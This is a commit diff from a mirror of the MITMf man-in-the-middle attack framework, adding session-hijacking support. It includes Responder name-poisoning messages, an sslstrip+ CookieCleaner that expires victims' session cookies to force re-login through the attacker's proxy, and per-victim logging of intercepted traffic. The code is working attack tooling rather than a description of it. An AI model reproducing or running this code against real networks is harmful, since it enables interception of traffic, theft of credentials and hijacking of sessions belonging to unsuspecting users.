mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-08-20 21:43:28 -07:00
added mallory option for session hijacking
This commit is contained in:
parent
32bd4b64e4
commit
ebf6af1da9
10 changed files with 246 additions and 15 deletions
|
@ -61,9 +61,7 @@ if HTMLToServe == None:
|
|||
HTMLToServe = ''
|
||||
|
||||
if len(NumChal) is not 16:
|
||||
print "The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n"
|
||||
parser.print_help()
|
||||
exit(-1)
|
||||
sys.exit("[-] The challenge must be exactly 16 chars long.\nExample: -c 1122334455667788\n")
|
||||
|
||||
def IsOsX():
|
||||
Os_version = sys.platform
|
||||
|
@ -2504,7 +2502,7 @@ def start_responder(options, ip_address):
|
|||
if AnalyzeMode:
|
||||
print '[*] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned\n'
|
||||
|
||||
start_message = "Respoder will redirect requests to: %s\n" % ip_address
|
||||
start_message = "Responder will redirect requests to: %s\n" % ip_address
|
||||
start_message += "Challenge set: %s\n" % NumChal
|
||||
start_message += "WPAD Proxy Server: %s\n" % WPAD_On_Off
|
||||
start_message += "WPAD script loaded: %s\n" % WPAD_Script
|
||||
|
|
|
@ -26,13 +26,13 @@ class ResponseTampererFactory:
|
|||
|
||||
_instance = None
|
||||
|
||||
_default_config = {"enabled": False, "tamper_class": "sslstrip.DummyResponseTamperer"}
|
||||
_default_config = {"enabled": False, "tamper_class": "libs.sslstripkoto.DummyResponseTamperer"}
|
||||
|
||||
def __init__(self):
|
||||
pass
|
||||
|
||||
def createTamperer(configFile):
|
||||
logging.debug(logging.DEBUG, "Reading tamper config file: %s" % (configFile))
|
||||
logging.log(logging.DEBUG, "Reading tamper config file: %s" % (configFile))
|
||||
config = ResponseTampererFactory._default_config.copy()
|
||||
if configFile:
|
||||
config.update(ResponseTampererFactory.parseConfig(configFile))
|
||||
|
|
106
libs/sslstripplus/CookieCleaner.py
Normal file
106
libs/sslstripplus/CookieCleaner.py
Normal file
|
@ -0,0 +1,106 @@
|
|||
# Copyright (c) 2004-2011 Moxie Marlinspike
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
import string
|
||||
|
||||
class CookieCleaner:
|
||||
'''This class cleans cookies we haven't seen before. The basic idea is to
|
||||
kill sessions, which isn't entirely straight-forward. Since we want this to
|
||||
be generalized, there's no way for us to know exactly what cookie we're trying
|
||||
to kill, which also means we don't know what domain or path it has been set for.
|
||||
|
||||
The rule with cookies is that specific overrides general. So cookies that are
|
||||
set for mail.foo.com override cookies with the same name that are set for .foo.com,
|
||||
just as cookies that are set for foo.com/mail override cookies with the same name
|
||||
that are set for foo.com/
|
||||
|
||||
The best we can do is guess, so we just try to cover our bases by expiring cookies
|
||||
in a few different ways. The most obvious thing to do is look for individual cookies
|
||||
and nail the ones we haven't seen coming from the server, but the problem is that cookies are often
|
||||
set by Javascript instead of a Set-Cookie header, and if we block those the site
|
||||
will think cookies are disabled in the browser. So we do the expirations and whitlisting
|
||||
based on client,server tuples. The first time a client hits a server, we kill whatever
|
||||
cookies we see then. After that, we just let them through. Not perfect, but pretty effective.
|
||||
|
||||
'''
|
||||
|
||||
_instance = None
|
||||
|
||||
def getInstance():
|
||||
if CookieCleaner._instance == None:
|
||||
CookieCleaner._instance = CookieCleaner()
|
||||
|
||||
return CookieCleaner._instance
|
||||
|
||||
getInstance = staticmethod(getInstance)
|
||||
|
||||
def __init__(self):
|
||||
self.cleanedCookies = set();
|
||||
self.enabled = False
|
||||
|
||||
def setEnabled(self, enabled):
|
||||
self.enabled = enabled
|
||||
|
||||
def isClean(self, method, client, host, headers):
|
||||
if method == "POST": return True
|
||||
if not self.enabled: return True
|
||||
if not self.hasCookies(headers): return True
|
||||
|
||||
return (client, self.getDomainFor(host)) in self.cleanedCookies
|
||||
|
||||
def getExpireHeaders(self, method, client, host, headers, path):
|
||||
domain = self.getDomainFor(host)
|
||||
self.cleanedCookies.add((client, domain))
|
||||
|
||||
expireHeaders = []
|
||||
|
||||
for cookie in headers['cookie'].split(";"):
|
||||
cookie = cookie.split("=")[0].strip()
|
||||
expireHeadersForCookie = self.getExpireCookieStringFor(cookie, host, domain, path)
|
||||
expireHeaders.extend(expireHeadersForCookie)
|
||||
|
||||
return expireHeaders
|
||||
|
||||
def hasCookies(self, headers):
|
||||
return 'cookie' in headers
|
||||
|
||||
def getDomainFor(self, host):
|
||||
hostParts = host.split(".")
|
||||
return "." + hostParts[-2] + "." + hostParts[-1]
|
||||
|
||||
def getExpireCookieStringFor(self, cookie, host, domain, path):
|
||||
pathList = path.split("/")
|
||||
expireStrings = list()
|
||||
|
||||
expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + domain +
|
||||
";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
|
||||
|
||||
expireStrings.append(cookie + "=" + "EXPIRED;Path=/;Domain=" + host +
|
||||
";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
|
||||
|
||||
if len(pathList) > 2:
|
||||
expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
|
||||
domain + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
|
||||
|
||||
expireStrings.append(cookie + "=" + "EXPIRED;Path=/" + pathList[1] + ";Domain=" +
|
||||
host + ";Expires=Mon, 01-Jan-1990 00:00:00 GMT\r\n")
|
||||
|
||||
return expireStrings
|
||||
|
||||
|
28
libs/sslstripplus/DnsCache.py
Normal file
28
libs/sslstripplus/DnsCache.py
Normal file
|
@ -0,0 +1,28 @@
|
|||
|
||||
class DnsCache:
|
||||
|
||||
'''
|
||||
The DnsCache maintains a cache of DNS lookups, mirroring the browser experience.
|
||||
'''
|
||||
|
||||
_instance = None
|
||||
|
||||
def __init__(self):
|
||||
self.cache = {}
|
||||
|
||||
def cacheResolution(self, host, address):
|
||||
self.cache[host] = address
|
||||
|
||||
def getCachedAddress(self, host):
|
||||
if host in self.cache:
|
||||
return self.cache[host]
|
||||
|
||||
return None
|
||||
|
||||
def getInstance():
|
||||
if DnsCache._instance == None:
|
||||
DnsCache._instance = DnsCache()
|
||||
|
||||
return DnsCache._instance
|
||||
|
||||
getInstance = staticmethod(getInstance)
|
44
libs/sslstripplus/ServerConnectionFactory.py
Normal file
44
libs/sslstripplus/ServerConnectionFactory.py
Normal file
|
@ -0,0 +1,44 @@
|
|||
# Copyright (c) 2004-2009 Moxie Marlinspike
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or
|
||||
# modify it under the terms of the GNU General Public License as
|
||||
# published by the Free Software Foundation; either version 3 of the
|
||||
# License, or (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful, but
|
||||
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
# General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||
# USA
|
||||
#
|
||||
|
||||
import logging
|
||||
from twisted.internet.protocol import ClientFactory
|
||||
|
||||
class ServerConnectionFactory(ClientFactory):
|
||||
|
||||
def __init__(self, command, uri, postData, headers, client):
|
||||
self.command = command
|
||||
self.uri = uri
|
||||
self.postData = postData
|
||||
self.headers = headers
|
||||
self.client = client
|
||||
|
||||
def buildProtocol(self, addr):
|
||||
return self.protocol(self.command, self.uri, self.postData, self.headers, self.client)
|
||||
|
||||
def clientConnectionFailed(self, connector, reason):
|
||||
logging.debug("Server connection failed.")
|
||||
|
||||
destination = connector.getDestination()
|
||||
|
||||
if (destination.port != 443):
|
||||
logging.debug("Retrying via SSL")
|
||||
self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443)
|
||||
else:
|
||||
self.client.finish()
|
||||
|
|
@ -40,6 +40,25 @@ class URLMonitor:
|
|||
|
||||
return (client,url) in self.strippedURLs
|
||||
|
||||
def writeClientLog(self, client, headers, message):
|
||||
if not os.path.exists("./logs"):
|
||||
os.makedirs("./logs")
|
||||
|
||||
if (client.getClientIP() + '.log') not in os.listdir("./logs"):
|
||||
|
||||
try:
|
||||
log_message = "#Log file for %s (%s)\n" % (client.getClientIP(), headers['user-agent'])
|
||||
except KeyError:
|
||||
log_message = "#Log file for %s\n" % client.getClientIP()
|
||||
|
||||
log_file = open("./logs/" + client.getClientIP() + ".log", 'a')
|
||||
log_file.write(log_message + message + "\n")
|
||||
log_file.close()
|
||||
else:
|
||||
log_file = open("./logs/" + client.getClientIP() + ".log", 'a')
|
||||
log_file.write(message + "\n")
|
||||
log_file.close()
|
||||
|
||||
def getSecurePort(self, client, url):
|
||||
if (client,url) in self.strippedURLs:
|
||||
return self.strippedURLPorts[(client,url)]
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue